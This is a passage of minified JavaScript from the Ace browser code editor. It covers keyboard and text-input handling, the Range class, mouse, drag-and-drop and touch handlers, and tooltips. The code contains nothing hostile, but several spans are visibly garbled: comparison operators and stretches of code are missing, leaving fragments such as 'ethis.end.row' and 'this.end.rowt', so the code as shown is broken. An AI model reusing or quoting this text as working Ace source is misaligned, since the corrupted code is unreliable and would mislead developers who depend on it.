a=null;c(e,"keydown",(function(e){r[e.keyCode]=(r[e.keyCode]||0)+1;var t=g(i,e,e.keyCode);return a=e.defaultPrevented,t}),n),c(e,"keypress",(function(e){a&&(e.ctrlKey||e.altKey||e.shiftKey||e.metaKey)&&(t.stopEvent(e),a=null)}),n),c(e,"keyup",(function(e){r[e.keyCode]=null}),n),r||(f(),c(window,"focus",f))}},"object"==typeof window&&window.postMessage&&!o.isOldIE){var m=1;t.nextTick=function(e,i){i=i||window;var n="zero-timeout-message-"+m++,s=function(o){o.data==n&&(t.stopPropagation(o),u(i,"message",s),e())};c(i,"message",s),i.postMessage(n,"*")}}t.$idleBlocked=!1,t.onIdle=function(e,i){return setTimeout((function i(){t.$idleBlocked?setTimeout(i,100):e()}),i)},t.$idleBlockId=null,t.blockIdle=function(e){t.$idleBlockId&&clearTimeout(t.$idleBlockId),t.$idleBlocked=!0,t.$idleBlockId=setTimeout((function(){t.$idleBlocked=!1}),e||100)},t.nextFrame="object"==typeof window&&(window.requestAnimationFrame||window.mozRequestAnimationFrame||window.webkitRequestAnimationFrame||window.msRequestAnimationFrame||window.oRequestAnimationFrame),t.nextFrame?t.nextFrame=t.nextFrame.bind(window):t.nextFrame=function(e){setTimeout(e,17)}})),define("ace/range",["require","exports","module"],(function(e,t,i){"use strict";var n=function(e,t,i,n){this.start={row:e,column:t},this.end={row:i,column:n}};(function(){this.isEqual=function(e){return this.start.row===e.start.row&&this.end.row===e.end.row&&this.start.column===e.start.column&&this.end.column===e.end.column},this.toString=function(){return"Range: ["+this.start.row+"/"+this.start.column+"] -> ["+this.end.row+"/"+this.end.column+"]"},this.contains=function(e,t){return 0==this.compare(e,t)},this.compareRange=function(e){var t,i=e.end,n=e.start;return 1==(t=this.compare(i.row,i.column))?1==(t=this.compare(n.row,n.column))?2:0==t?1:0:-1==t?-2:-1==(t=this.compare(n.row,n.column))?-1:1==t?42:0},this.comparePoint=function(e){return this.compare(e.row,e.column)},this.containsRange=function(e){return 0==this.comparePoint(e.start)&&0==this.comparePoint(e.end)},this.intersects=function(e){var t=this.compareRange(e);return-1==t||0==t||1==t},this.isEnd=function(e,t){return this.end.row==e&&this.end.column==t},this.isStart=function(e,t){return this.start.row==e&&this.start.column==t},this.setStart=function(e,t){"object"==typeof e?(this.start.column=e.column,this.start.row=e.row):(this.start.row=e,this.start.column=t)},this.setEnd=function(e,t){"object"==typeof e?(this.end.column=e.column,this.end.row=e.row):(this.end.row=e,this.end.column=t)},this.inside=function(e,t){return 0==this.compare(e,t)&&(!this.isEnd(e,t)&&!this.isStart(e,t))},this.insideStart=function(e,t){return 0==this.compare(e,t)&&!this.isEnd(e,t)},this.insideEnd=function(e,t){return 0==this.compare(e,t)&&!this.isStart(e,t)},this.compare=function(e,t){return this.isMultiLine()||e!==this.start.row?ethis.end.row?1:this.start.row===e?t>=this.start.column?0:-1:this.end.row===e?t<=this.end.column?0:1:0:tthis.end.column?1:0},this.compareStart=function(e,t){return this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.compareEnd=function(e,t){return this.end.row==e&&this.end.column==t?1:this.compare(e,t)},this.compareInside=function(e,t){return this.end.row==e&&this.end.column==t?1:this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.clipRows=function(e,t){if(this.end.row>t)var i={row:t+1,column:0};else if(this.end.rowt)var s={row:t+1,column:0};else if(this.start.rowDate.now()-50)||(n=!1)},cancel:function(){n=Date.now()}}})),define("ace/keyboard/textinput",["require","exports","module","ace/lib/event","ace/lib/useragent","ace/lib/dom","ace/lib/lang","ace/clipboard","ace/lib/keys"],(function(e,t,i){"use strict";var n=e("../lib/event"),s=e("../lib/useragent"),o=e("../lib/dom"),r=e("../lib/lang"),a=e("../clipboard"),l=s.isChrome<18,h=s.isIE,c=s.isChrome>63,u=400,d=e("../lib/keys"),g=d.KEY_MODS,f=s.isIOS,m=f?/\s/:/\n/,p=s.isMobile;t.TextInput=function(e,t){var i=o.createElement("textarea");i.className="ace_text-input",i.setAttribute("wrap","off"),i.setAttribute("autocorrect","off"),i.setAttribute("autocapitalize","off"),i.setAttribute("spellcheck",!1),i.style.opacity="0",e.insertBefore(i,e.firstChild);var v=!1,w=!1,$=!1,b=!1,y="";p||(i.style.fontSize="1px");var C=!1,S=!1,x="",k=0,A=0,L=0;try{var R=document.activeElement===i}catch(e){}n.addListener(i,"blur",(function(e){S||(t.onBlur(e),R=!1)}),t),n.addListener(i,"focus",(function(e){if(!S){if(R=!0,s.isEdge)try{if(!document.hasFocus())return}catch(e){}t.onFocus(e),s.isEdge?setTimeout(M):M()}}),t),this.$focusScroll=!1,this.focus=function(){if(y||c||"browser"==this.$focusScroll)return i.focus({preventScroll:!0});var e=i.style.top;i.style.position="fixed",i.style.top="0px";try{var t=0!=i.getBoundingClientRect().top}catch(e){return}var n=[];if(t)for(var s=i.parentElement;s&&1==s.nodeType;)n.push(s),s.setAttribute("ace_nocontext",!0),s=!s.parentElement&&s.getRootNode?s.getRootNode().host:s.parentElement;i.focus({preventScroll:!0}),t&&n.forEach((function(e){e.removeAttribute("ace_nocontext")})),setTimeout((function(){i.style.position="","0px"==i.style.top&&(i.style.top=e)}),0)},this.blur=function(){i.blur()},this.isFocused=function(){return R},t.on("beforeEndOperation",(function(){var e=t.curOp,n=e&&e.command&&e.command.name;if("insertstring"!=n){var s=n&&(e.docChanged||e.selectionChanged);$&&s&&(x=i.value="",P()),M()}}));var M=f?function(e){if(R&&(!v||e)&&!b){e||(e="");var n="\n ab"+e+"cde fg\n";n!=i.value&&(i.value=x=n);var s=4+(e.length||(t.selection.isEmpty()?0:1));4==k&&A==s||i.setSelectionRange(4,s),k=4,A=s}}:function(){if(!$&&!b&&(R||T)){$=!0;var e=0,n=0,s="";if(t.session){var o=t.selection,r=o.getRange(),a=o.cursor.row;if(e=r.start.column,n=r.end.column,s=t.session.getLine(a),r.start.row!=a){var l=t.session.getLine(a-1);e=r.start.rowa+1?h.length:n,n+=s.length+1,s=s+"\n"+h}else p&&a>0&&(s="\n"+s,n+=1,e+=1);s.length>u&&(e0&&x[d]==e[d];)d++,a--;for(h=h.slice(d),d=1;l>0&&x.length-d>k-1&&x[x.length-d]==e[e.length-d];)d++,l--;c-=d-1,u-=d-1;var g=h.length-d+1;if(g<0&&(a=-g,g=0),h=h.slice(0,g),!(n||h||c||a||l||u))return"";b=!0;var f=!1;return s.isAndroid&&". "==h&&(h=" ",f=!0),h&&!a&&!l&&!c&&!u||C?t.onTextInput(h):t.onTextInput(h,{extendLeft:a,extendRight:l,restoreStart:c,restoreEnd:u}),b=!1,x=e,k=o,A=r,L=u,f?"\n":h},F=function(e){if($)return H();if(e&&e.inputType){if("historyUndo"==e.inputType)return t.execCommand("undo");if("historyRedo"==e.inputType)return t.execCommand("redo")}var n=i.value,s=_(n,!0);(n.length>500||m.test(s)||p&&k<1&&k==A)&&M()},O=function(e,t,i){var n=e.clipboardData||window.clipboardData;if(n&&!l){var s=h||i?"Text":"text/plain";try{return t?!1!==n.setData(s,t):n.getData(s)}catch(e){if(!i)return O(e,t,!0)}}},I=function(e,s){var o=t.getCopyText();if(!o)return n.preventDefault(e);O(e,o)?(f&&(M(o),v=o,setTimeout((function(){v=!1}),10)),s?t.onCut():t.onCopy(),n.preventDefault(e)):(v=!0,i.value=o,i.select(),setTimeout((function(){v=!1,M(),s?t.onCut():t.onCopy()})))},W=function(e){I(e,!0)},B=function(e){I(e,!1)},D=function(e){var o=O(e);a.pasteCancelled()||("string"==typeof o?(o&&t.onPaste(o,e),s.isIE&&setTimeout(M),n.preventDefault(e)):(i.value="",w=!0))};n.addCommandKeyListener(i,t.onCommandKey.bind(t),t),n.addListener(i,"select",(function(e){$||(v?v=!1:!function(e){return 0===e.selectionStart&&e.selectionEnd>=x.length&&e.value===x&&x&&e.selectionEnd!==A}(i)?p&&i.selectionStart!=k&&M():(t.selectAll(),M()))}),t),n.addListener(i,"input",F,t),n.addListener(i,"cut",W,t),n.addListener(i,"copy",B,t),n.addListener(i,"paste",D,t),"oncut"in i&&"oncopy"in i&&"onpaste"in i||n.addListener(e,"keydown",(function(e){if((!s.isMac||e.metaKey)&&e.ctrlKey)switch(e.keyCode){case 67:B(e);break;case 86:D(e);break;case 88:W(e)}}),t);var H=function(){if($&&t.onCompositionUpdate&&!t.$readOnly){if(C)return N();if($.useTextareaForIME)t.onCompositionUpdate(i.value);else{var e=i.value;_(e),$.markerRange&&($.context&&($.markerRange.start.column=$.selectionStart=$.context.compositionStartOffset),$.markerRange.end.column=$.markerRange.start.column+A-$.selectionStart+L)}}},P=function(e){t.onCompositionEnd&&!t.$readOnly&&($=!1,t.onCompositionEnd(),t.off("mousedown",N),e&&F())};function N(){S=!0,i.blur(),i.focus(),S=!1}var z,V=r.delayedCall(H,50).schedule.bind(null,null);function U(){clearTimeout(z),z=setTimeout((function(){y&&(i.style.cssText=y,y=""),t.renderer.$isMousePressed=!1,t.renderer.$keepTextAreaAtCursor&&t.renderer.$moveTextAreaToCursor()}),0)}n.addListener(i,"compositionstart",(function(e){if(!$&&t.onCompositionStart&&!t.$readOnly&&($={},!C)){e.data&&($.useTextareaForIME=!1),setTimeout(H,0),t._signal("compositionStart"),t.on("mousedown",N);var n=t.getSelectionRange();n.end.row=n.start.row,n.end.column=n.start.column,$.markerRange=n,$.selectionStart=k,t.onCompositionStart($),$.useTextareaForIME?(x=i.value="",k=0,A=0):(i.msGetInputContext&&($.context=i.msGetInputContext()),i.getInputContext&&($.context=i.getInputContext()))}}),t),n.addListener(i,"compositionupdate",H,t),n.addListener(i,"keyup",(function(e){27==e.keyCode&&i.value.lengthA&&"\n"==x[o]?r=d.end:nA&&x.slice(0,o).split("\n").length>2?r=d.down:o>A&&" "==x[o-1]?(r=d.right,a=g.option):(o>A||o==A&&A!=k&&n==o)&&(r=d.right),n!==o&&(a|=g.shift),r){if(!t.onCommandKey({},a,r)&&t.commands){r=d.keyCodeToString(r);var l=t.commands.findKeyCommand(a,r);l&&t.execCommand(l)}k=n,A=o,M("")}}};document.addEventListener("selectionchange",o),t.on("destroy",(function(){document.removeEventListener("selectionchange",o)}))}(0,t,i),this.destroy=function(){i.parentElement&&i.parentElement.removeChild(i)}},t.$setUserAgentForTests=function(e,t){p=e,f=t}})),define("ace/mouse/default_handlers",["require","exports","module","ace/lib/useragent"],(function(e,t,i){"use strict";var n=e("../lib/useragent");function s(e){e.$clickSelection=null;var t=e.editor;t.setDefaultHandler("mousedown",this.onMouseDown.bind(e)),t.setDefaultHandler("dblclick",this.onDoubleClick.bind(e)),t.setDefaultHandler("tripleclick",this.onTripleClick.bind(e)),t.setDefaultHandler("quadclick",this.onQuadClick.bind(e)),t.setDefaultHandler("mousewheel",this.onMouseWheel.bind(e));["select","startSelect","selectEnd","selectAllEnd","selectByWordsEnd","selectByLinesEnd","dragWait","dragWaitEnd","focusWait"].forEach((function(t){e[t]=this[t]}),this),e.selectByLines=this.extendSelectionBy.bind(e,"getLineRange"),e.selectByWords=this.extendSelectionBy.bind(e,"getWordRange")}function o(e,t){if(e.start.row==e.end.row)var i=2*t.column-e.start.column-e.end.column;else if(e.start.row!=e.end.row-1||e.start.column||e.end.column)i=2*t.row-e.start.row-e.end.row;else var i=t.column-4;return i<0?{cursor:e.start,anchor:e.end}:{cursor:e.end,anchor:e.start}}(function(){this.onMouseDown=function(e){var t=e.inSelection(),i=e.getDocumentPosition();this.mousedownEvent=e;var s=this.editor,o=e.getButton();return 0!==o?((s.getSelectionRange().isEmpty()||1==o)&&s.selection.moveToPosition(i),void(2==o&&(s.textInput.onContextMenu(e.domEvent),n.isMozilla||e.preventDefault()))):(this.mousedownEvent.time=Date.now(),!t||s.isFocused()||(s.focus(),!this.$focusTimeout||this.$clickSelection||s.inMultiSelectMode)?(this.captureMouse(e),this.startSelect(i,e.domEvent._clicks>1),e.preventDefault()):(this.setState("focusWait"),void this.captureMouse(e)))},this.startSelect=function(e,t){e=e||this.editor.renderer.screenToTextCoordinates(this.x,this.y);var i=this.editor;this.mousedownEvent&&(this.mousedownEvent.getShiftKey()?i.selection.selectToPosition(e):t||i.selection.moveToPosition(e),t||this.select(),i.renderer.scroller.setCapture&&i.renderer.scroller.setCapture(),i.setStyle("ace_selecting"),this.setState("select"))},this.select=function(){var e,t=this.editor,i=t.renderer.screenToTextCoordinates(this.x,this.y);if(this.$clickSelection){var n=this.$clickSelection.comparePoint(i);if(-1==n)e=this.$clickSelection.end;else if(1==n)e=this.$clickSelection.start;else{var s=o(this.$clickSelection,i);i=s.cursor,e=s.anchor}t.selection.setSelectionAnchor(e.row,e.column)}t.selection.selectToPosition(i),t.renderer.scrollCursorIntoView()},this.extendSelectionBy=function(e){var t,i=this.editor,n=i.renderer.screenToTextCoordinates(this.x,this.y),s=i.selection[e](n.row,n.column);if(this.$clickSelection){var r=this.$clickSelection.comparePoint(s.start),a=this.$clickSelection.comparePoint(s.end);if(-1==r&&a<=0)t=this.$clickSelection.end,s.end.row==n.row&&s.end.column==n.column||(n=s.start);else if(1==a&&r>=0)t=this.$clickSelection.start,s.start.row==n.row&&s.start.column==n.column||(n=s.end);else if(-1==r&&1==a)n=s.end,t=s.start;else{var l=o(this.$clickSelection,n);n=l.cursor,t=l.anchor}i.selection.setSelectionAnchor(t.row,t.column)}i.selection.selectToPosition(n),i.renderer.scrollCursorIntoView()},this.selectEnd=this.selectAllEnd=this.selectByWordsEnd=this.selectByLinesEnd=function(){this.$clickSelection=null,this.editor.unsetStyle("ace_selecting"),this.editor.renderer.scroller.releaseCapture&&this.editor.renderer.scroller.releaseCapture()},this.focusWait=function(){var e,t,i,n,s=(e=this.mousedownEvent.x,t=this.mousedownEvent.y,i=this.x,n=this.y,Math.sqrt(Math.pow(i-e,2)+Math.pow(n-t,2))),o=Date.now();(s>0||o-this.mousedownEvent.time>this.$focusTimeout)&&this.startSelect(this.mousedownEvent.getDocumentPosition())},this.onDoubleClick=function(e){var t=e.getDocumentPosition(),i=this.editor,n=i.session.getBracketRange(t);n?(n.isEmpty()&&(n.start.column--,n.end.column++),this.setState("select")):(n=i.selection.getWordRange(t.row,t.column),this.setState("selectByWords")),this.$clickSelection=n,this.select()},this.onTripleClick=function(e){var t=e.getDocumentPosition(),i=this.editor;this.setState("selectByLines");var n=i.getSelectionRange();n.isMultiLine()&&n.contains(t.row,t.column)?(this.$clickSelection=i.selection.getLineRange(n.start.row),this.$clickSelection.end=i.selection.getLineRange(n.end.row).end):this.$clickSelection=i.selection.getLineRange(t.row),this.select()},this.onQuadClick=function(e){var t=this.editor;t.selectAll(),this.$clickSelection=t.getSelectionRange(),this.setState("selectAll")},this.onMouseWheel=function(e){if(!e.getAccelKey()){e.getShiftKey()&&e.wheelY&&!e.wheelX&&(e.wheelX=e.wheelY,e.wheelY=0);var t=this.editor;this.$lastScroll||(this.$lastScroll={t:0,vx:0,vy:0,allowed:0});var i=this.$lastScroll,n=e.domEvent.timeStamp,s=n-i.t,o=s?e.wheelX/s:i.vx,r=s?e.wheelY/s:i.vy;s<550&&(o=(o+i.vx)/2,r=(r+i.vy)/2);var a=Math.abs(o/r),l=!1;if(a>=1&&t.renderer.isScrollableBy(e.wheelX*e.speed,0)&&(l=!0),a<=1&&t.renderer.isScrollableBy(0,e.wheelY*e.speed)&&(l=!0),l)i.allowed=n;else if(n-i.allowed<550){Math.abs(o)<=1.5*Math.abs(i.vx)&&Math.abs(r)<=1.5*Math.abs(i.vy)?(l=!0,i.allowed=n):i.allowed=0}return i.t=n,i.vx=o,i.vy=r,l?(t.renderer.scrollBy(e.wheelX*e.speed,e.wheelY*e.speed),e.stop()):void 0}}}).call(s.prototype),t.DefaultHandlers=s})),define("ace/tooltip",["require","exports","module","ace/lib/oop","ace/lib/dom"],(function(e,t,i){"use strict";e("./lib/oop");var n=e("./lib/dom"),s="ace_tooltip";function o(e){this.isOpen=!1,this.$element=null,this.$parentNode=e}(function(){this.$init=function(){return this.$element=n.createElement("div"),this.$element.className=s,this.$element.style.display="none",this.$parentNode.appendChild(this.$element),this.$element},this.getElement=function(){return this.$element||this.$init()},this.setText=function(e){this.getElement().textContent=e},this.setHtml=function(e){this.getElement().innerHTML=e},this.setPosition=function(e,t){this.getElement().style.left=e+"px",this.getElement().style.top=t+"px"},this.setClassName=function(e){n.addCssClass(this.getElement(),e)},this.show=function(e,t,i){null!=e&&this.setText(e),null!=t&&null!=i&&this.setPosition(t,i),this.isOpen||(this.getElement().style.display="block",this.isOpen=!0)},this.hide=function(){this.isOpen&&(this.getElement().style.display="none",this.getElement().className=s,this.isOpen=!1)},this.getHeight=function(){return this.getElement().offsetHeight},this.getWidth=function(){return this.getElement().offsetWidth},this.destroy=function(){this.isOpen=!1,this.$element&&this.$element.parentNode&&this.$element.parentNode.removeChild(this.$element)}}).call(o.prototype),t.Tooltip=o})),define("ace/mouse/default_gutter_handler",["require","exports","module","ace/lib/dom","ace/lib/oop","ace/lib/event","ace/tooltip"],(function(e,t,i){"use strict";var n=e("../lib/dom"),s=e("../lib/oop"),o=e("../lib/event"),r=e("../tooltip").Tooltip;function a(e){r.call(this,e)}s.inherits(a,r),function(){this.setPosition=function(e,t){var i=window.innerWidth||document.documentElement.clientWidth,n=window.innerHeight||document.documentElement.clientHeight,s=this.getWidth(),o=this.getHeight();(e+=15)+s>i&&(e-=e+s-i),(t+=15)+o>n&&(t-=20+o),r.prototype.setPosition.call(this,e,t)}}.call(a.prototype),t.GutterHandler=function(e){var t,i,s,r=e.editor,l=r.renderer.$gutterLayer,h=new a(r.container);function c(){t&&(t=clearTimeout(t)),s&&(h.hide(),s=null,r._signal("hideGutterTooltip",h),r.off("mousewheel",c))}function u(e){h.setPosition(e.x,e.y)}e.editor.setDefaultHandler("guttermousedown",(function(t){if(r.isFocused()&&0==t.getButton()&&"foldWidgets"!=l.getRegion(t)){var i=t.getDocumentPosition().row,n=r.session.selection;if(t.getShiftKey())n.selectTo(i,0);else{if(2==t.domEvent.detail)return r.selectAll(),t.preventDefault();e.$clickSelection=r.selection.getLineRange(i)}return e.setState("selectByLines"),e.captureMouse(t),t.preventDefault()}})),e.editor.setDefaultHandler("guttermousemove",(function(o){var a=o.domEvent.target||o.domEvent.srcElement;if(n.hasCssClass(a,"ace_fold-widget"))return c();s&&e.$tooltipFollowsMouse&&u(o),i=o,t||(t=setTimeout((function(){t=null,i&&!e.isMousePressed?function(){var t=i.getDocumentPosition().row,n=l.$annotations[t];if(!n)return c();if(t==r.session.getLength()){var o=r.renderer.pixelToScreenCoordinates(0,i.y).row,a=i.$pos;if(o>r.session.documentToScreenRow(a.row,a.column))return c()}if(s!=n){s=n.text.join("
"),h.setHtml(s);var d=n.className;if(d&&h.setClassName(d.trim()),h.show(),r._signal("showGutterTooltip",h),r.on("mousewheel",c),e.$tooltipFollowsMouse)u(i);else{var g=i.domEvent.target.getBoundingClientRect(),f=h.getElement().style;f.left=g.right+"px",f.top=g.bottom+"px"}}}():c()}),50))})),o.addListener(r.renderer.$gutter,"mouseout",(function(e){i=null,s&&!t&&(t=setTimeout((function(){t=null,c()}),50))}),r),r.on("changeSession",c)}})),define("ace/mouse/mouse_event",["require","exports","module","ace/lib/event","ace/lib/useragent"],(function(e,t,i){"use strict";var n=e("../lib/event"),s=e("../lib/useragent"),o=t.MouseEvent=function(e,t){this.domEvent=e,this.editor=t,this.x=this.clientX=e.clientX,this.y=this.clientY=e.clientY,this.$pos=null,this.$inSelection=null,this.propagationStopped=!1,this.defaultPrevented=!1};(function(){this.stopPropagation=function(){n.stopPropagation(this.domEvent),this.propagationStopped=!0},this.preventDefault=function(){n.preventDefault(this.domEvent),this.defaultPrevented=!0},this.stop=function(){this.stopPropagation(),this.preventDefault()},this.getDocumentPosition=function(){return this.$pos||(this.$pos=this.editor.renderer.screenToTextCoordinates(this.clientX,this.clientY)),this.$pos},this.inSelection=function(){if(null!==this.$inSelection)return this.$inSelection;var e=this.editor.getSelectionRange();if(e.isEmpty())this.$inSelection=!1;else{var t=this.getDocumentPosition();this.$inSelection=e.contains(t.row,t.column)}return this.$inSelection},this.getButton=function(){return n.getButton(this.domEvent)},this.getShiftKey=function(){return this.domEvent.shiftKey},this.getAccelKey=s.isMac?function(){return this.domEvent.metaKey}:function(){return this.domEvent.ctrlKey}}).call(o.prototype)})),define("ace/mouse/dragdrop_handler",["require","exports","module","ace/lib/dom","ace/lib/event","ace/lib/useragent"],(function(e,t,i){"use strict";var n=e("../lib/dom"),s=e("../lib/event"),o=e("../lib/useragent");function r(e){var t=e.editor,i=n.createElement("div");i.style.cssText="top:-100px;position:absolute;z-index:2147483647;opacity:0.5",i.textContent=" ";["dragWait","dragWaitEnd","startDrag","dragReadyEnd","onMouseDrag"].forEach((function(t){e[t]=this[t]}),this),t.on("mousedown",this.onMouseDown.bind(e));var r,l,h,c,u,d,g,f,m,p,v,w=t.container,$=0;function b(){var e=d;(function(e,i){var n=Date.now(),s=!i||e.row!=i.row,o=!i||e.column!=i.column;!p||s||o?(t.moveCursorToPosition(e),p=n,v={x:l,y:h}):a(v.x,v.y,l,h)>5?p=null:n-p>=200&&(t.renderer.scrollCursorIntoView(),p=null)})(d=t.renderer.screenToTextCoordinates(l,h),e),function(e,i){var n=Date.now(),s=t.renderer.layerConfig.lineHeight,o=t.renderer.layerConfig.characterWidth,r=t.renderer.scroller.getBoundingClientRect(),a={x:{left:l-r.left,right:r.right-l},y:{top:h-r.top,bottom:r.bottom-h}},c=Math.min(a.x.left,a.x.right),u=Math.min(a.y.top,a.y.bottom),d={row:e.row,column:e.column};c/o<=2&&(d.column+=a.x.left=200&&t.renderer.scrollCursorIntoView(d):m=n:m=null}(d,e)}function y(){u=t.selection.toOrientedRange(),r=t.session.addMarker(u,"ace_selection",t.getSelectionStyle()),t.clearSelection(),t.isFocused()&&t.renderer.$cursorLayer.setBlinking(!1),clearInterval(c),b(),c=setInterval(b,20),$=0,s.addListener(document,"mousemove",x)}function C(){clearInterval(c),t.session.removeMarker(r),r=null,t.selection.fromOrientedRange(u),t.isFocused()&&!f&&t.$resetCursorStyle(),u=null,d=null,$=0,m=null,p=null,s.removeListener(document,"mousemove",x)}this.onDragStart=function(e){if(this.cancelDrag||!w.draggable){var n=this;return setTimeout((function(){n.startSelect(),n.captureMouse(e)}),0),e.preventDefault()}u=t.getSelectionRange();var s=e.dataTransfer;s.effectAllowed=t.getReadOnly()?"copy":"copyMove",t.container.appendChild(i),s.setDragImage&&s.setDragImage(i,0,0),setTimeout((function(){t.container.removeChild(i)})),s.clearData(),s.setData("Text",t.session.getTextRange()),f=!0,this.setState("drag")},this.onDragEnd=function(e){if(w.draggable=!1,f=!1,this.setState(null),!t.getReadOnly()){var i=e.dataTransfer.dropEffect;g||"move"!=i||t.session.remove(t.getSelectionRange()),t.$resetCursorStyle()}this.editor.unsetStyle("ace_dragging"),this.editor.renderer.setCursorStyle("")},this.onDragEnter=function(e){if(!t.getReadOnly()&&k(e.dataTransfer))return l=e.clientX,h=e.clientY,r||y(),$++,e.dataTransfer.dropEffect=g=A(e),s.preventDefault(e)},this.onDragOver=function(e){if(!t.getReadOnly()&&k(e.dataTransfer))return l=e.clientX,h=e.clientY,r||(y(),$++),null!==S&&(S=null),e.dataTransfer.dropEffect=g=A(e),s.preventDefault(e)},this.onDragLeave=function(e){if(--$<=0&&r)return C(),g=null,s.preventDefault(e)},this.onDrop=function(e){if(d){var i=e.dataTransfer;if(f)switch(g){case"move":u=u.contains(d.row,d.column)?{start:d,end:d}:t.moveText(u,d);break;case"copy":u=t.moveText(u,d,!0)}else{var n=i.getData("Text");u={start:d,end:t.session.insert(d,n)},t.focus(),g=null}return C(),s.preventDefault(e)}},s.addListener(w,"dragstart",this.onDragStart.bind(e),t),s.addListener(w,"dragend",this.onDragEnd.bind(e),t),s.addListener(w,"dragenter",this.onDragEnter.bind(e),t),s.addListener(w,"dragover",this.onDragOver.bind(e),t),s.addListener(w,"dragleave",this.onDragLeave.bind(e),t),s.addListener(w,"drop",this.onDrop.bind(e),t);var S=null;function x(){null==S&&(S=setTimeout((function(){null!=S&&r&&C()}),20))}function k(e){var t=e.types;return!t||Array.prototype.some.call(t,(function(e){return"text/plain"==e||"Text"==e}))}function A(e){var t=["copy","copymove","all","uninitialized"],i=o.isMac?e.altKey:e.ctrlKey,n="uninitialized";try{n=e.dataTransfer.effectAllowed.toLowerCase()}catch(e){}var s="none";return i&&t.indexOf(n)>=0?s="copy":["move","copymove","linkmove","all","uninitialized"].indexOf(n)>=0?s="move":t.indexOf(n)>=0&&(s="copy"),s}}function a(e,t,i,n){return Math.sqrt(Math.pow(i-e,2)+Math.pow(n-t,2))}(function(){this.dragWait=function(){Date.now()-this.mousedownEvent.time>this.editor.getDragDelay()&&this.startDrag()},this.dragWaitEnd=function(){this.editor.container.draggable=!1,this.startSelect(this.mousedownEvent.getDocumentPosition()),this.selectEnd()},this.dragReadyEnd=function(e){this.editor.$resetCursorStyle(),this.editor.unsetStyle("ace_dragging"),this.editor.renderer.setCursorStyle(""),this.dragWaitEnd()},this.startDrag=function(){this.cancelDrag=!1;var e=this.editor;e.container.draggable=!0,e.renderer.$cursorLayer.setBlinking(!1),e.setStyle("ace_dragging");var t=o.isWin?"default":"move";e.renderer.setCursorStyle(t),this.setState("dragReady")},this.onMouseDrag=function(e){var t=this.editor.container;o.isIE&&"dragReady"==this.state&&(a(this.mousedownEvent.x,this.mousedownEvent.y,this.x,this.y)>3&&t.dragDrop());"dragWait"===this.state&&(a(this.mousedownEvent.x,this.mousedownEvent.y,this.x,this.y)>0&&(t.draggable=!1,this.startSelect(this.mousedownEvent.getDocumentPosition())))},this.onMouseDown=function(e){if(this.$dragEnabled){this.mousedownEvent=e;var t=this.editor,i=e.inSelection(),n=e.getButton();if(1===(e.domEvent.detail||1)&&0===n&&i){if(e.editor.inMultiSelectMode&&(e.getAccelKey()||e.getShiftKey()))return;this.mousedownEvent.time=Date.now();var s=e.domEvent.target||e.domEvent.srcElement;if("unselectable"in s&&(s.unselectable="on"),t.getDragDelay()){if(o.isWebKit)this.cancelDrag=!0,t.container.draggable=!0;this.setState("dragWait")}else this.startDrag();this.captureMouse(e,this.onMouseDrag.bind(this)),e.defaultPrevented=!0}}}}).call(r.prototype),t.DragdropHandler=r})),define("ace/mouse/touch_handler",["require","exports","module","ace/mouse/mouse_event","ace/lib/event","ace/lib/dom"],(function(e,t,i){"use strict";var n=e("./mouse_event").MouseEvent,s=e("../lib/event"),o=e("../lib/dom");t.addTouchListeners=function(e,t){var i,r,a,l,h,c,u,d,g,f="scroll",m=0,p=0,v=0,w=0;function $(){var e=window.navigator&&window.navigator.clipboard,i=!1,n=function(n){var s,r,a=n.target.getAttribute("action");if("more"==a||!i)return i=!i,s=t.getCopyText(),r=t.session.getUndoManager().hasUndo(),void g.replaceChild(o.buildDom(i?["span",!s&&["span",{class:"ace_mobile-button",action:"selectall"},"Select All"],s&&["span",{class:"ace_mobile-button",action:"copy"},"Copy"],s&&["span",{class:"ace_mobile-button",action:"cut"},"Cut"],e&&["span",{class:"ace_mobile-button",action:"paste"},"Paste"],r&&["span",{class:"ace_mobile-button",action:"undo"},"Undo"],["span",{class:"ace_mobile-button",action:"find"},"Find"],["span",{class:"ace_mobile-button",action:"openCommandPallete"},"Pallete"]]:["span"]),g.firstChild);"paste"==a?e.readText().then((function(e){t.execCommand(a,e)})):a&&("cut"!=a&&"copy"!=a||(e?e.writeText(t.getCopyText()):document.execCommand("copy")),t.execCommand(a)),g.firstChild.style.display="none",i=!1,"openCommandPallete"!=a&&t.focus()};g=o.buildDom(["div",{class:"ace_mobile-menu",ontouchstart:function(e){f="menu",e.stopPropagation(),e.preventDefault(),t.textInput.focus()},ontouchend:function(e){e.stopPropagation(),e.preventDefault(),n(e)},onclick:n},["span"],["span",{class:"ace_mobile-button",action:"more"},"..."]],t.container)}function b(){g||$();var e=t.selection.cursor,i=t.renderer.textToScreenCoordinates(e.row,e.column),n=t.renderer.textToScreenCoordinates(0,0).pageX,s=t.renderer.scrollLeft,o=t.container.getBoundingClientRect();g.style.top=i.pageY-o.top-3+"px",i.pageX-o.left1)return clearTimeout(h),h=null,a=-1,void(f="zoom");d=t.$mouseHandler.isMousePressed=!0;var o=t.renderer.layerConfig.lineHeight,c=t.renderer.layerConfig.lineHeight,g=e.timeStamp;l=g;var $=s[0],b=$.clientX,y=$.clientY;Math.abs(i-b)+Math.abs(r-y)>o&&(a=-1),i=e.clientX=b,r=e.clientY=y,v=w=0;var S=new n(e,t);if(u=S.getDocumentPosition(),g-a<500&&1==s.length&&!m)p++,e.preventDefault(),e.button=0,function(){h=null,clearTimeout(h),t.selection.moveToPosition(u);var e=p>=2?t.selection.getLineRange(u.row):t.session.getBracketRange(u);e&&!e.isEmpty()?t.selection.setRange(e):t.selection.selectWord(),f="wait"}();else{p=0;var 